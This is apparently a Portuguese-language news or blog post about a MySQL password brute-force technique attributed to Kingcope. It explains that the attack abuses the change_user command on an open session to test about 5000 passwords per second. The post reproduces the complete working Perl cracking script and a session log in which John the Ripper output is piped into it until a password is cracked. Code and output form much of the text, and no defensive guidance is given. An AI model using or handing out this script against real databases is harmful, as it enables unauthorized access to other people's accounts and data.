• Demonstração de Quebra de Senhas no MySQL

    Um cracker conhecido como Kingcope, encontrou um outro problema de segurança relacionado ao popular banco de dados MySQL. Utilizando uma característica já conhecida de gerenciamento de banco de dados, é possível aumentar significativamente a velocidade de um ataque de força bruta. Os ataques de brute-force, normalmente, envolvem a técnica de experimentar um grande número possível de senhas, a fim de adivinhar a senha atual do usuário. Cada senha será apresentada para o processo de login, que pode levar um certo tempo, e quando milhares de senhas precisam ser processadas​​, o tempo pode se tornar substancial.



    O que Kingcope tem encontrado, é uma "técnica" que lhe permite testar até 5000 senhas por segundo através da rede, a partir do momento que ele possuir acesso ao banco de dados. Para isso, o atacante requer uma conta sem privilégios para acessar essa base de dados. O script usa essa conta para fazer login e depois usa o comando "change_user" para tentar alterar a conta durante a sessão no MySQL. Ao contrário de inserir uma senha para validar o processo de login, isso funciona com uma conexão de rede já estabelecida, e muito rapidamente, rejeita senhas incorretas.

    O cracker usou o utilitário de segurança John The Ripper, com a finalidade de criar uma lista de senhas, documentou o ataque com um script Perl e registro de uma sessão de linha de comando. Para quebrar uma senha de quatro caracteres com acesso remoto à base de dados MySQL, ele levou apenas 20 segundos, com mais de 100.000 combinações de caracteres testados.

    The example script

    use Net::MySQL;

    $|=1;

    my $mysql = Net::MySQL->new(
    hostname => '192.168.2.3',
    database => 'test',
    user => "user",
    password => "secret",
    debug => 0, );

    $crackuser = "crackme";

    while(<stdin>) {
    chomp;
    $currentpass = $_;
    $vv = join "\0",
    $crackuser,
    "\x14".
    Net::MySQL::Password->scramble(
    $currentpass,
    $mysql->{salt},
    $mysql->{client_capabilities}
    ) . "\0";

    if ($mysql->_execute_command("\x11", $vv) ne undef) {
    print "[*] Cracked! --> $currentpass\n";
    exit;
    }
    }



    The example session

    C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\john
    --incremental --stdout=5 | perl mysqlcrack.pl
    Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
    words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
    words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
    words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
    words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
    words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
    words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
    words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
    [*] Cracked! --> pass
    words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
    Session aborted


    Saiba Mais:

    [1] MySQL Local/Remote FAST Account Password Cracking http://lists.grok.org.uk/pipermail/f...er/089076.html